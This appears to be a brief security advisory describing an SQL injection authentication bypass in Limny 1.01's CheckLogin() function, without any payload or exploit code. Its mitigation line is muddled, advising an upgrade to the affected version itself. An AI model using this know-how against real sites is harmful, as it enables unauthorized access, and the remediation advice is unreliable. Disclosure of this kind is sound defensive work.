Limny 1.01 (Auth Bypass) SQL Injection Vulnerability

Limny 1.01 is vulnerable to an authentication bypass vulnerability due to improper sanitization of user-supplied input. An attacker can exploit this vulnerability by supplying a specially crafted username and password to bypass authentication. The vulnerable code is located in includes/functions.php, where the CheckLogin() function does not properly sanitize user-supplied input before using it in an SQL query. This can be exploited to bypass authentication by supplying a specially crafted username and password.

Mitigation:

Upgrade to the latest version of Limny 1.01 or apply the patch from the vendor.
